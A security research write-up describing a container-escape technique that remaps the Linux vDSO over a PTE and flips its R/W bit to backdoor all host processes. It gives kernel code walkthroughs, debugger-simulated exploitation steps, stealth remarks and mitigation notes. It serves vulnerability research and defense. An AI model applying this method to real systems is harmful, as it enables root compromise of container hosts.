--- title: Escaping from a Docker container through vDSO author: andersonc0d3 --- |=-----------------------------------------------------------------------=| |=----------=[ Escaping from a Docker container through vDSO ]=----------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ andersonc0d3 ]=---------------------------=| |=-----------------------------------------------------------------------=| We came up with a technique in the past that allowed us to escape a Docker container reliably, and we believe the technique is not publicly known. We were planning to write a more complete blog post about this technique, but the blog post on [1] prompted us to write about it sooner than expected. Abusing page tables is very popular in vulnerability research circles, but when working on a vulnerability in the past, we didn't find many techniques that could be applied to escape from a Docker container with a vulnerability that offers a not-so-strong primitive. This includes a primitive similar to the one mentioned in [2]: an arbitrary increment primitive. Fortunately, we discovered a technique, applied it successfully, and were able to write an exploit that works reliably, stably, and across different kernel versions without modification. In this blog post we aim to share some details about it. The kernel source code used in this blog post is version 6.16.7-200.fc42.x86_64 from a Fedora 42 system. --[ THE PROBLEM As already mentioned, abusing page tables is popular in vulnerability research independent of the target operating system. In the context of a Docker container where the target does not have much shared data with the initial namespace, and we cannot from the container directly interact with processes and objects from outside, it's a challenge to find which objects to target. The files or SUID-bit binaries that are the targets in the blog posts referenced in [1] and [2] are not available in a container. Even though the versions of the binaries in the container and the host might be the same, the containers have a different view of the file system. They could be the same binaries, but they have different page cache entries and different inodes. We should not be able to overwrite privileged files or SUID-bit binaries from the initial namespace directly from the container. Exploiting a vulnerability like a use-after-free from a Docker container, what target object should be used to reclaim the freed object? The main goal nowadays is to achieve arbitrary read and write on physical pages through page tables, but this is usually burdensome. Our technique seems to be simpler and leads to root privileges in the initial namespace. --[ THE SOLUTION The solution we found for this problem is the virtual Dynamic Shared Object (vDSO). The vDSO is still one of the few places that have data shared between namespaces. The vDSO is an ELF shared library that is automatically mapped as read-only in every process independent of the namespaces. It has been abused in the past, as in [3], but from the perspective of the kernel itself. The vDSO has also been abused on vulnerabilities like DirtyCow [4], but what we describe here is different. It's not about a vulnerability that allows writing to read-only pages. It's a generic approach that abuses vulnerability primitives to overwrite the vDSO. The trick for this technique to work is to use `arch_prctl()` or `mremap()` to remap the vDSO to the mapping in which we reclaimed the page as a page table entry, probably a Page Table Entry (PTE). The PTE would still be the same, but the physical page would point to the physical address of the vDSO pages. Abusing the vulnerability like in [1] and [2], we could flip the R/W bit of the PTE that holds the physical page of the vDSO. We are then allowed to write to it, effectively backdooring the whole system. The `mremap()` system call is straightforward and generic as its role is to move mappings. Maybe it's not well known, but by default the vDSO can also be moved. The case of the `arch_prctl()` is different as it contains an option that installs the vDSO at an arbitrary address. The syscall path in `arch_prctl()` that allows installing the vDSO is shown below: 1057 SYSCALL_DEFINE2(arch_prctl, int, option, unsigned long, arg2) 1058 { 1059 switch (option) { 1060 case ARCH_GET_CPUID: 1061 return get_cpuid_mode(); 1062 case ARCH_SET_CPUID: 1063 return set_cpuid_mode(arg2); 1064 case ARCH_GET_XCOMP_SUPP: 1065 case ARCH_GET_XCOMP_PERM: 1066 case ARCH_REQ_XCOMP_PERM: 1067 case ARCH_GET_XCOMP_GUEST_PERM: 1068 case ARCH_REQ_XCOMP_GUEST_PERM: 1069 return fpu_xstate_prctl(option, arg2); 1070 } 1071 1072 if (!in_ia32_syscall()) 1073 return do_arch_prctl_64(current, option, arg2); 1074 1075 return -EINVAL; 1076 } 863 long do_arch_prctl_64(struct task_struct *task, int option, unsigned long arg2) 864 { 865 int ret = 0; 866 867 switch (option) { ... 937 938 #ifdef CONFIG_CHECKPOINT_RESTORE 939 # ifdef CONFIG_X86_X32_ABI 940 case ARCH_MAP_VDSO_X32: 941 return prctl_map_vdso(&vdso_image_x32, arg2); 942 # endif 943 # ifdef CONFIG_IA32_EMULATION 944 case ARCH_MAP_VDSO_32: 945 return prctl_map_vdso(&vdso_image_32, arg2); 946 # endif 947 case ARCH_MAP_VDSO_64: 948 return prctl_map_vdso(&vdso_image_64, arg2); 949 #endif ... 976 } 977 978 return ret; 979 } 782 #ifdef CONFIG_CHECKPOINT_RESTORE 783 static long prctl_map_vdso(const struct vdso_image *image, unsigned long addr) 784 { 785 int ret; 786 787 ret = map_vdso_once(image, addr); 788 if (ret) 789 return ret; 790 791 return (long)image->size; 792 } 793 #endif 201 int map_vdso_once(const struct vdso_image *image, unsigned long addr) 202 { 203 struct mm_struct *mm = current->mm; 204 struct vm_area_struct *vma; 205 VMA_ITERATOR(vmi, mm, 0); 206 207 mmap_write_lock(mm); 208 /* 209 * Check if we have already mapped vdso blob - fail to prevent 210 * abusing from userspace install_special_mapping, which may 211 * not do accounting and rlimit right. 212 * We could search vma near context.vdso, but it's a slowpath, 213 * so let's explicitly check all VMAs to be completely sure. 214 */ 215 for_each_vma(vmi, vma) { 216 if (vma_is_special_mapping(vma, &vdso_mapping) || 217 vma_is_special_mapping(vma, &vdso_vvar_mapping) || 218 vma_is_special_mapping(vma, &vvar_vclock_mapping)) { 219 mmap_write_unlock(mm); 220 return -EEXIST; 221 } 222 } 223 mmap_write_unlock(mm); 224 225 return map_vdso(image, addr); 226 } 137 static int map_vdso(const struct vdso_image *image, unsigned long addr) 138 { 139 struct mm_struct *mm = current->mm; 140 struct vm_area_struct *vma; 141 unsigned long text_start; 142 int ret = 0; 143 144 if (mmap_write_lock_killable(mm)) 145 return -EINTR; 146 147 addr = get_unmapped_area(NULL, addr, 148 image->size + __VDSO_PAGES * PAGE_SIZE, 0, 0); 149 if (IS_ERR_VALUE(addr)) { 150 ret = addr; 151 goto up_fail; 152 } 153 154 text_start = addr + __VDSO_PAGES * PAGE_SIZE; 155 156 /* 157 * MAYWRITE to allow gdb to COW and set breakpoints 158 */ 159 vma = _install_special_mapping(mm, 160 text_start, 161 image->size, 162 VM_READ|VM_EXEC| 163 VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC| 164 VM_SEALED_SYSMAP, 165 &vdso_mapping); 166 167 if (IS_ERR(vma)) { 168 ret = PTR_ERR(vma); 169 goto up_fail; 170 } 171 172 vma = vdso_install_vvar_mapping(mm, addr); 173 if (IS_ERR(vma)) { 174 ret = PTR_ERR(vma); 175 do_munmap(mm, text_start, image->size, NULL); 176 goto up_fail; 177 } 178 179 vma = _install_special_mapping(mm, 180 VDSO_VCLOCK_PAGES_START(addr), 181 VDSO_NR_VCLOCK_PAGES * PAGE_SIZE, 182 VM_READ|VM_MAYREAD|VM_IO|VM_DONTDUMP| 183 VM_PFNMAP|VM_SEALED_SYSMAP, 184 &vvar_vclock_mapping); 185 186 if (IS_ERR(vma)) { 187 ret = PTR_ERR(vma); 188 do_munmap(mm, text_start, image->size, NULL); 189 do_munmap(mm, addr, image->size, NULL); 190 goto up_fail; 191 } 192 193 current->mm->context.vdso = (void __user *)text_start; 194 current->mm->context.vdso_image = image; 195 196 up_fail: 197 mmap_write_unlock(mm); 198 return ret; 199 } The syscall `arch_prctl()` with the command `ARCH_MAP_VDSO_64` allows the user to effectively move the vDSO and other related pages to any address they wish, since the vDSO and its pages are already unmapped. It's not permitted to have more than one vDSO mapped into a binary. --[ DEMONSTRATION As we will not use any interesting vulnerability in this blog post, we decided to come up with a different approach. To demonstrate the impact of the technique, we are going to start from the point where we already reclaimed the freed object as a PTE and we know the mapping that can be arbitrarily incremented. We will simulate the primitive using the kernel debugger. Before that, we will show the syscall in action. In the demonstration below, we will show that we can remap the vDSO to our arbitrary address. The code below is executed from a Docker container. It creates a mapping with the same length as the vDSO and its related pages—8 pages in total, covering the `VVAR`, `VVAR_CLOCK`, and the vDSO itself. [root@02a4e6611030 vdso]# ./arch_prctl_demo PID: 166 Creating a mapping Our mapped address 0x7f179d43a000 We stopped the code at that moment to check the page table with the crash utility. But before proceeding, we need to obtain the PID of the process running inside Docker in the initial PID namespace. $ pidof arch_prctl_demo 2839 $ crash> vtop -c 2839 0x7f179d43a000 VIRTUAL PHYSICAL 7f179d43a000 (not mapped) PGD: 74d7a7f0 => 1f6fa067 PUD: 1f6fa2f0 => 51bc0067 PMD: 51bc0750 => 74ce3067 PTE: 74ce31d0 => 0 VMA START END FLAGS FILE ffff8880091f3600 7f179d43a000 7f179d442000 8100077 As shown, the mapping is still not populated. We will populate it now and check again using crash. [root@02a4e6611030 vdso]# ./arch_prctl_demo PID: 166 Creating a mapping Our mapped address 0x7f179d43a000 Writing to 0x7f179d43a000 Mapping written to! crash> vtop -c 2839 0x7f179d43a000 VIRTUAL PHYSICAL 7f179d43a000 33adb000 PGD: 74d7a7f0 => 1f6fa067 PUD: 1f6fa2f0 => 51bc0067 PMD: 51bc0750 => 74ce3067 PTE: 74ce31d0 => 33adb867 PAGE: 33adb000 PTE PHYSICAL FLAGS 33adb867 33adb000 (PRESENT|RW|USER|ACCESSED|DIRTY) VMA START END FLAGS FILE ffff8880091f3600 7f179d43a000 7f179d442000 8100077 PAGE PHYSICAL MAPPING INDEX CNT FLAGS ffffea0000ceb6c0 33adb000 ffff88803d62f1a1 7f179d43a 1 fffffe0020828 uptodate,lru,owner_2,swapbacked crash> The page fault handler mapped a new page into our previously created mapping. Since this triggered a write fault, the R/W bit of the PTE was set, but this is not the R/W bit we target for the exploit. The code then obtains the address of the vDSO mapped into the process by the kernel. We confirm the address by checking /proc/PID/maps in the initial PID namespace. [root@02a4e6611030 vdso]# ./arch_prctl_demo PID: 166 Creating a mapping Our mapped address 0x7f179d43a000 Writing to 0x7f179d43a000 Mapping written to! Obtaining VDSO addresses vvar located at 0x7f179d63b000 vvar_vclock located at 0x7f179d63f000 vDSO located at 0x7f179d641000 $ sudo cat /proc/2839/maps | grep -A1 "vvar" 7f179d63b000-7f179d63f000 r--p 00000000 00:00 0 [vvar] 7f179d63f000-7f179d641000 r--p 00000000 00:00 0 [vvar_vclock] 7f179d641000-7f179d643000 r-xp 00000000 00:00 0 [vdso] $ The vDSO and its related pages were successfully located and mapped. It's important for us to confirm the physical page address of the vDSO. We can do that by inspecting the vDSO mapping shown above. Note that we didn't need to execute any system call from the vDSO for its mapping to be populated; the binary or the loader probably executed at least one system call from it automatically. crash> vtop -c 2839 7f179d641000 VIRTUAL PHYSICAL 7f179d641000 2fb1000 PGD: 74d7a7f0 => 1f6fa067 PUD: 1f6fa2f0 => 51bc0067 PMD: 51bc0758 => 1f6dd067 PTE: 1f6dd208 => 2fb1025 PAGE: 2fb1000 PTE PHYSICAL FLAGS 2fb1025 2fb1000 (PRESENT|USER|ACCESSED) VMA START END FLAGS FILE ffff8880518289c0 7f179d641000 7f179d643000 8040075 PAGE PHYSICAL MAPPING INDEX CNT FLAGS ffffea00000bec40 2fb1000 0 0 60 fffffc6002204 referenced,workingset,reserved crash> The physical page 0x2fb1000 is the location of the first page of the vDSO. Our goal here is to make the arbitrary address `0x7f179d43a000 + VDSO_OFFSET` point to that physical page. If the stars are properly aligned and we can flip the R/W bit, writing to the mapping after triggering the primitive overwrites the vDSO's physical page. This results in backdooring the whole system. Continuing with the demonstration of the system call `arch_prctl()` in action, we first unmap the existing vDSO and its related pages. As stated earlier, the system does not permit more than one vDSO to be mapped. We also need to unmap our arbitrary mapping; otherwise, we can't substitute it with the official vDSO mapping. root@02a4e6611030 vdso]# ./arch_prctl_demo PID: 166 Creating a mapping Our mapped address 0x7f179d43a000 Writing to 0x7f179d43a000 Mapping written to! Obtaining VDSO addreses vvar located at 0x7f179d63b000 vvar_vclock located at 0x7f179d63f000 vDSO located at 0x7f179d641000 Unmapping vDSO pages VVAR and vDSO pages unmapped! Having executed the steps to unmap the existing vDSO and our arbitrary mapping, we confirm that the vDSO and its related pages are now successfully unmapped from the process's address space. $ sudo cat /proc/2839/maps | grep -A1 "vvar" $ crash> vtop -c 2839 7f179d641000 VIRTUAL PHYSICAL 7f179d641000 (not accessible) crash> [root@02a4e6611030 vdso]# ./arch_prctl_demo PID: 166 Creating a mapping Our mapped address 0x7f179d43a000 Writing to 0x7f179d43a000 Mapping written to! Obtaining VDSO addreses vvar located at 0x7f179d63b000 vvar_vclock located at 0x7f179d63f000 vDSO located at 0x7f179d641000 Unmapping vDSO pages VVAR and vDSO pages unmapped! Our mapped address 0x7f179d43a000 is unmapped now crash> vtop -c 2839 0x7f179d43a000 VIRTUAL PHYSICAL 7f179d43a000 (not accessible) crash> With the existing vDSO and our arbitrary mapping unmapped, we are now ready to call `arch_prctl()` with the `ARCH_MAP_VDSO_64` command to remap the vDSO and its associated pages (VVAR, `VVAR_CLOCK`) into our desired arbitrary address. This single syscall causes the kernel to install the vDSO mapping at the target virtual address which we previously prepared to overlap with a reclaimed page used as a PTE. Once the vDSO is mapped into this address space, the actual physical pages of the read-only vDSO are referenced by a PTE that we control and which is positioned in our mapping. Our next and final step is to use the arbitrary increment primitive (simulated with the kernel debugger) to flip the R/W bit of this controlling PTE, granting us write access to the vDSO's physical pages and achieving root privileges in the initial namespace. [root@02a4e6611030 vdso]# ./map_new PID: 166 Creating a mapping Our mapped address 0x7f179d43a000 Writing to 0x7f179d43a000 Mapping written to! Obtaining VDSO addreses vvar located at 0x7f179d63b000 vvar_vclock located at 0x7f179d63f000 vDSO located at 0x7f179d641000 Unmapping vDSO pages VVAR and vDSO pages unmapped! Our mapped address 0x7f179d43a000 is unmapped now Re-mapping VVAR at 0x7f179d43a000 VVAR and vDSO pages remapped successfully vvar located at 0x7f179d43a000 vvar_vclock located at 0x7f179d43e000 vDSO located at 0x7f179d440000 $ sudo cat /proc/2839/maps | grep -A1 "vvar" 7f179d43a000-7f179d43e000 r--p 00000000 00:00 0 [vvar] 7f179d43e000-7f179d440000 r--p 00000000 00:00 0 [vvar_vclock] 7f179d440000-7f179d442000 r-xp 00000000 00:00 0 [vdso] $ crash> vtop -c 2839 0x7f179d43a000 VIRTUAL PHYSICAL 7f179d43a000 (not mapped) PGD: 74d7a7f0 => 1f6fa067 PUD: 1f6fa2f0 => 51bc0067 PMD: 51bc0750 => 74ce3067 PTE: 74ce31d0 => 0 VMA START END FLAGS FILE ffff888040281f00 7f179d43a000 7f179d43e000 c044411 crash> Our mapping is alive again, but this time, it's a VVAR mapping. There's no need to confirm, but just to make sure everything is right, we show a field of the VMA (Virtual Memory Area) shown above, and it indeed shows that it is a VVAR mapping. (gdb) print/s ((struct vm_area_struct *)0xffff888040281f00)->vm_private_data $7 = (void *) 0xffffffff82738a20 (gdb) Our arbitrary mapping is now confirmed to be a VVAR mapping, and the address `0x7f179d43a000 + VDSO_OFFSET` now points directly to the vDSO mapping. This means that the vDSO's physical pages may now be referenced by a PTE that falls within the address range of our arbitrary mapping. crash> vtop -c 2839 7f179d440000 VIRTUAL PHYSICAL 7f179d440000 (not mapped) PGD: 74d7a7f0 => 1f6fa067 PUD: 1f6fa2f0 => 51bc0067 PMD: 51bc0750 => 74ce3067 PTE: 74ce3200 => 0 VMA START END FLAGS FILE ffff888040281180 7f179d440000 7f179d442000 8040075 crash> (gdb) print/s ((struct vm_area_struct *)0xffff888040281180)->vm_private_data $8 = (void *) 0xffffffff826037e0 (gdb) Everything is right so far, but the relocated vDSO mapping is not yet populated with its physical page. We cannot execute any system calls via the vDSO yet; doing so would likely cause the process to crash because the system doesn't correctly handle a relocated vDSO mapping. Fortunately, we do not need to execute a vDSO system call. We can simply read from the relocated vDSO address range to trigger a page fault. The page fault handler will then map the required physical pages into our new virtual address, thereby populating the mapping and making the vDSO's physical page accessible for the exploit. [root@02a4e6611030 vdso]# ./map_new PID: 166 Obtaining a mapping Our mapped address 0x7f179d43a000 Writing to 0x7f179d43a000 Mapping written to! Obtaining VDSO addreses vvar located at 0x7f179d63b000 vvar_vclock located at 0x7f179d63f000 vDSO located at 0x7f179d641000 Unmapping vDSO pages VVAR and vDSO pages unmapped! Our mapped address 0x7f179d43a000 is unmapped now Re-mapping VVAR at 0x7f179d43a000 VVAR and vDSO pages remapped successfully vvar located at 0x7f179d43a000 vvar_vclock located at 0x7f179d43e000 vDSO located at 0x7f179d440000 Populating our target PTE with the page frame of the vDSO crash> vtop -c 2839 7f179d440000 VIRTUAL PHYSICAL 7f179d440000 2fb1000 PGD: 74d7a7f0 => 1f6fa067 PUD: 1f6fa2f0 => 51bc0067 PMD: 51bc0750 => 74ce3067 PTE: 74ce3200 => 2fb1025 PAGE: 2fb1000 PTE PHYSICAL FLAGS 2fb1025 2fb1000 (PRESENT|USER|ACCESSED) VMA START END FLAGS FILE ffff888040281180 7f179d440000 7f179d442000 8040075 PAGE PHYSICAL MAPPING INDEX CNT FLAGS ffffea00000bec40 2fb1000 0 0 60 fffffc6002204 referenced,workingset,reserved crash> The same physical address from the vDSO (0x2fb1000) originally mapped by the kernel is now correctly filled in a PTE of the arbitrary address we mapped. We again show that this is the exact physical address of the vDSO by obtaining it from the source object that is used by the kernel to map the vDSO into every process running on the system. (gdb) p/x vdso_image_64->data $16 = 0xffffffff82fb1000 (gdb) crash> vtop 0xffffffff82fb1000 VIRTUAL PHYSICAL ffffffff82fb1000 2fb1000 PGD DIRECTORY: ffffffff8382c000 PAGE DIRECTORY: 3831067 PUD: 3831ff0 => 3832063 PMD: 38320b8 => 8000000002e001a1 PAGE: 2e00000 (2MB) PTE PHYSICAL FLAGS 8000000002e001a1 2e00000 (PRESENT|ACCESSED|PSE|GLOBAL|NX) PAGE PHYSICAL MAPPING INDEX CNT FLAGS ffffea00000bec40 2fb1000 0 0 60 fffffc6002204 referenced,workingset,reserved crash> As shown above, both the kernel object and the physical page in our PTE now point to 0x2fb1000. This confirms the successful remapping of the vDSO's physical pages to our arbitrary, controllable virtual address. It's important to note that while we used the `arch_prctl()` system call for this demonstration, the same core remapping step can be achieved using `mremap()`, offering flexibility in exploit development. --[ ABUSING We have shown above we can have an arbitrary PTE allocated in our process's page table pointing to the physical page of the vDSO. The PTE page should be the same memory page containing the object freed by the use-after-free vulnerability (the slab object's backing page being reallocated as a PTE). The technique works by freeing all related slab objects, forcing the slab's page to be returned to the page allocator, reallocating that page to hold the new PTE, locating the offset that we can corrupt (ideally an arbitrary increment primitive), and abusing it to set the R/W bit of the PTE. As the PTE is populated with the vDSO physical page, this allows us to overwrite the content of the vDSO's physical pages. We will demonstrate this below using the same approach from the previous section. We show the original vDSO data by looking at the kernel object. (gdb) x/20g vdso_image_64->data 0xffffffff82fb1000 : 0x00010102464c457f 0x0000000000000000 0xffffffff82fb1010 : 0x00000001003e0003 0x0000000000000000 0xffffffff82fb1020 : 0x0000000000000040 0x00000000000017f0 0xffffffff82fb1030 : 0x0038004000000000 0x0010001100400004 0xffffffff82fb1040 : 0x0000000500000001 0x0000000000000000 0xffffffff82fb1050 : 0x0000000000000000 0x0000000000000000 0xffffffff82fb1060 : 0x000000000000171b 0x000000000000171b 0xffffffff82fb1070 : 0x0000000000001000 0x0000000400000002 0xffffffff82fb1080 : 0x0000000000000438 0x0000000000000438 0xffffffff82fb1090 : 0x0000000000000438 0x0000000000000120 (gdb) We have confirmed that the PTE for our arbitrary address points directly to the vDSO's physical page. An exploit would now abuse the vulnerability primitive (the arbitrary increment) to modify the content of this PTE, specifically changing the bits at offset 0x2fb1025 ( PRESENT | USER | ACCESSED ) to 0x2fb1027 ( PRESENT | R/W | USER | ACCESSED ). The addition of the R/W bit (Read/Write) to the PTE effectively drops the read-only protection on the vDSO's physical pages, allowing us to overwrite its code and achieve root privileges. crash> vtop -c 2809 0x7fb53f2d9000 VIRTUAL PHYSICAL 7fb53f2d9000 2fb1000 PGD: 12e2037f8 => 1818ab067 PUD: 1818ab6a0 => 1818c2067 PMD: 1818c2fc8 => 154739067 PTE: 1547396c8 => 2fb1025 PAGE: 2fb1000 PTE PHYSICAL FLAGS 2fb1025 2fb1000 (PRESENT|USER|ACCESSED) VMA START END FLAGS FILE ffff88818198a780 7fb53f2d9000 7fb53f2db000 8040075 PAGE PHYSICAL MAPPING INDEX CNT FLAGS ffffea00000bec40 2fb1000 0 0 61 fffffc6002204 referenced,workingset,reserved crash> We use the crash command to confirm the page table attributes that define the R/W (Read/Write) bit for our target PTE. crash> pte 2fb1025 PTE PHYSICAL FLAGS 2fb1025 2fb1000 (PRESENT|USER|ACCESSED) crash> pte 2fb1027 PTE PHYSICAL FLAGS 2fb1027 2fb1000 (PRESENT|RW|USER|ACCESSED) crash> Obtaining the virtual address that points to that PTE entry so we can simulate an arbitrary write primitive on the debugger. crash> ptov 1547396c8 VIRTUAL PHYSICAL ffff8881547396c8 1547396c8 crash> Using the debugger, we overwrite the PTE flags in order to have the R/W bit defined. (gdb) x/gx 0xffff8881547396c8 0xffff8881547396c8: 0x0000000002fb1025 (gdb) set *(unsigned long)0xffff8881547396c8=0x0000000002fb1027 (gdb) x/gx 0xffff8881547396c8 0xffff8881547396c8: 0x0000000002fb1027 (gdb) After this final step, the code can write to the vDSO successfully. This allows us to inject arbitrary code into the vDSO's physical pages, which are mapped into virtually every process running on the system. By overwriting a function within the vDSO (e.g., `__vdso_gettimeofday()`), we have effectively backdoored the whole system, gaining root privileges in the initial namespace and full control over the host. (gdb) x/20g vdso_image_64->data 0xffffffff82fb1000 : 0x4141414141414141 0x4141414141414141 0xffffffff82fb1010 : 0x4141414141414141 0x4141414141414141 0xffffffff82fb1020 : 0x4141414141414141 0x4141414141414141 0xffffffff82fb1030 : 0x4141414141414141 0x4141414141414141 0xffffffff82fb1040 : 0x4141414141414141 0x4141414141414141 0xffffffff82fb1050 : 0x4141414141414141 0x4141414141414141 0xffffffff82fb1060 : 0x4141414141414141 0x4141414141414141 0xffffffff82fb1070 : 0x4141414141414141 0x4141414141414141 0xffffffff82fb1080 : 0x4141414141414141 0x4141414141414141 0xffffffff82fb1090 : 0x4141414141414141 0x4141414141414141 (gdb) Consequently, after overwriting the vDSO with junk data, all processes start to crash. This confirms that the vDSO's critical code (which is shared by all user-space processes) has been corrupted, proving that the read-only protection was successfully bypassed and that full system compromise has been achieved. [15360.396420] traps: auditd[1127] general protection fault ip:7f75bc240fb0 sp:7ffe2a1fc458 error:0 [15360.396454] traps: systemd-journal[972] general protection fault ip:7fb8a9b68fb0 sp:7ffe79d30b08 error:0 [15360.397054] traps: systemd-coredum[2854] general protection fault ip:7fbcef58699b sp:7ffff41f6650 error:0 [15360.397056] traps: systemd-coredum[2855] general protection fault ip:7f3cecf5e99b sp:7ffe5726f8f0 error:0 [15360.397055] traps: systemd-coredum[2856] general protection fault ip:7f349c09b99b sp:7fff6c27b2c0 error:0 [15360.397057] in ld-linux-x86-64.so.2[1f99b,7fbcef567000+29000] [15360.397059] in ld-linux-x86-64.so.2[1f99b,7f3cecf3f000+29000] [15360.397060] in ld-linux-x86-64.so.2[1f99b,7f349c07c000+29000] --[ ADVANTAGES This technique can also be used outside a container environment. In fact, we recommend it over the read-only file-based overwrite technique for a generic approach if you have a primitive that allows overwriting page tables. The capability of arbitrary read/write on physical pages is the holy grail, but depending on the goal, it's not needed. It also seems to usually be more complicated than targeting the vDSO, as mentioned in this blog post. This technique also doesn't need a KASLR bypass to be implemented. The file-based technique works well, but it has side effects. At least one file system (BTRFS), through the write-back mechanism, has a safeguard that detects the abuse and generates a warning; it might lead to crashes depending on the system configuration. A malicious SUID-bit binary is easier to be detected than the memory-only vDSO. The vDSO technique, due to it being memory-only, doesn't involve a write-back mechanism. You can also probably re-use the technique to restore the original vDSO, helping to hide your traces. Once the vDSO is overwritten with a malicious one, many processes running on the machine and from the initial namespace will execute its code. There are many opportunities of functions to hijack and processes to target, but this is outside of the scope of this blog post. --[ DISADVANTAGES You need to have the original vDSO from the kernel you are targeting, specially if you intend to restore the original vDSO. If you build the kernel manually, it likely doesn't yield the same vDSO, even using the same kernel configuration. The backdoored vDSO needs to be build accordingly, otherwise the alignments and offsets won't match and will have side effects. We can confirm this is feasible. Also, the backdoored vDSO needs some additional work to try to be stealth. It's not the goal of this blog post to teach how to build a kernel resulting in the exact vDSO from the distribution and kernel you are targeting and how to make the injected code stealth. The kernel configuration `CONFIG_CHECKPOINT_RESTORE` is needed for the `arch_prctl()` system call to include the `ARCH_MAP_VDSO_*` commands. Fortunately, most of the kernels enable it. Also, there a recent kernel mitigation added on version 6.15 [5] called `CONFIG_MSEAL_SYSTEM_MAPPINGS` that blocks the vDSO to be remapped via `mremap()` system call. It doesn't block `arch_prctl()`, but to enable `CONFIG_MSEAL_SYSTEM_MAPPINGS`, `CONFIG_CHECKPOINT_RESTORE` needs to be disabled. The following text is found in the documentation of the mseal feature [6]. "WARNING: This feature breaks programs which rely on relocating or unmapping system mappings. Known broken software at the time of writing includes `CHECKPOINT_RESTORE`, UML, gVisor, rr. Therefore this config can't be enabled universally." The definition of the kernel configuration is shown below: File: security/Kconfig --- 54 config MSEAL_SYSTEM_MAPPINGS 55 bool "mseal system mappings" 56 depends on 64BIT 57 depends on ARCH_SUPPORTS_MSEAL_SYSTEM_MAPPINGS 58 depends on !CHECKPOINT_RESTORE --- When `CONFIG_MSEAL_SYSTEM_MAPPINGS` is enabled, `VM_SEALED_SYSMAP` is defined as `VM_SEALED` and not `VM_NONE`. All the vDSO mappings are defined with `VM_SEALED_SYSMAP`, as can be seen below. 4128 #ifdef CONFIG_MSEAL_SYSTEM_MAPPINGS 4129 #define VM_SEALED_SYSMAP VM_SEALED 4130 #else 4131 #define VM_SEALED_SYSMAP VM_NONE 4132 #endif 137 static int map_vdso(const struct vdso_image *image, unsigned long addr) 138 { ... 159 vma = _install_special_mapping(mm, 160 text_start, 161 image->size, 162 VM_READ|VM_EXEC| 163 VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC| 164 VM_SEALED_SYSMAP, 165 &vdso_mapping); ... 172 vma = vdso_install_vvar_mapping(mm, addr); 173 if (IS_ERR(vma)) { 174 ret = PTR_ERR(vma); 175 do_munmap(mm, text_start, image->size, NULL); 176 goto up_fail; 177 } 178 179 vma = _install_special_mapping(mm, 180 VDSO_VCLOCK_PAGES_START(addr), 181 VDSO_NR_VCLOCK_PAGES * PAGE_SIZE, 182 VM_READ|VM_MAYREAD|VM_IO|VM_DONTDUMP| 183 VM_PFNMAP|VM_SEALED_SYSMAP, 184 &vvar_vclock_mapping); ... 199 } 99 struct vm_area_struct *vdso_install_vvar_mapping(struct mm_struct *mm, unsigned long addr) 100 { 101 return _install_special_mapping(mm, addr, VDSO_NR_PAGES * PAGE_SIZE, 102 VM_READ | VM_MAYREAD | VM_IO | VM_DONTDUMP | 103 VM_PFNMAP | VM_SEALED_SYSMAP, 104 &vdso_vvar_mapping); 105 } The function `can_modify_vma()` is called on several points before changing the VMA, including `mremap()`. 573 static inline bool can_modify_vma(struct vm_area_struct *vma) 574 { 575 if (unlikely(vma_is_sealed(vma))) 576 return false; 577 578 return true; 579 } 564 static inline bool vma_is_sealed(struct vm_area_struct *vma) 565 { 566 return (vma->vm_flags & VM_SEALED); 567 }564 static inline bool vma_is_sealed(struct vm_area_struct *vma) 565 { 566 return (vma->vm_flags & VM_SEALED); 567 } Functions calling this function: can_modify_vma File Function Line 0 mm/mprotect.c mprotect_fixup 608 if (!can_modify_vma(vma)) 1 mm/mremap.c do_mremap 1716 if (!can_modify_vma(vma)) { 2 mm/mseal.c can_modify_vma_madv 65 if (unlikely(!can_modify_vma(vma) && is_ro_anon(vma))) 3 mm/vma.c vms_gather_munmap_vmas 1349 if (!can_modify_vma(vms->vma)) { 4 mm/vma.c vms_gather_munmap_vmas 1369 if (!can_modify_vma(next)) {Functions calling this function: can_modify_vma File Function Line 0 mm/mprotect.c mprotect_fixup 608 if (!can_modify_vma(vma)) 1 mm/mremap.c do_mremap 1716 if (!can_modify_vma(vma)) { 2 mm/mseal.c can_modify_vma_madv 65 if (unlikely(!can_modify_vma(vma) && is_ro_anon(vma))) 3 mm/vma.c vms_gather_munmap_vmas 1349 if (!can_modify_vma(vms->vma)) { 4 mm/vma.c vms_gather_munmap_vmas 1369 if (!can_modify_vma(next)) { In short, `CONFIG_MSEAL_SYSTEM_MAPPINGS` blocks this technique to be usable by forcing `mremap()` to fail and removing the commands to move vDSO from `arch_prctl()`, but we didn't find any distributions already enabling it. The linux-hardened kernel [7] enables `CONFIG_MSEAL_SYSTEM_MAPPINGS` and grsecurity has `CONFIG_CHECKPOINT_RESTORE` disabled, so this technique is not applied in those kernels. Google kCTF VRP kernels COS kernel config [8] has `CONFIG_CHECKPOINT_RESTORE` enabled and this technique should be applied to it. --[ CONCLUSION We have tested this technique with a 0day vulnerability successfully in more than one distribution, working on several kernel versions reliably without any modification. It achieved 95%+ reliability after more than 500.000 runs. This technique seems to be powerful and simple, considering the necessary primitives are already obtained. --[ REFERENCES [1] - Dirty Pageflags: Revisiting PTE Exploitation in Linux https://ptr-yudai.hatenablog.com/entry/2025/09/14/180326 [2] - How a simple Linux kernel memory corruption bug can lead to complete system compromise https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html [3] - Bypassing smep using vdso overwrites https://web.archive.org/web/20160120132619/http://itszn.com/blog/?p=21 [4] - dirtycow-vdso https://github.com/scumjr/dirtycow-vdso [5] - mseal sysmap: kernel config and header change https://github.com/torvalds/linux/commit/5796d3967c0956734bd1249f76989ca80da0225b [6] - Introduction of mseal https://www.kernel.org/doc/Documentation/userspace-api/mseal.rst [7] - linux-hardened https://github.com/anthraxx/linux-hardened [8] - cos/third_party/kernel/refs/heads/cos-6.12/./arch/x86/configs/lakitu_defconfig https://cos.googlesource.com/third_party/kernel/+/refs/heads/cos-6.12/arch/x86/configs/lakitu_defconfig |=[ EOF ]=---------------------------------------------------------------=|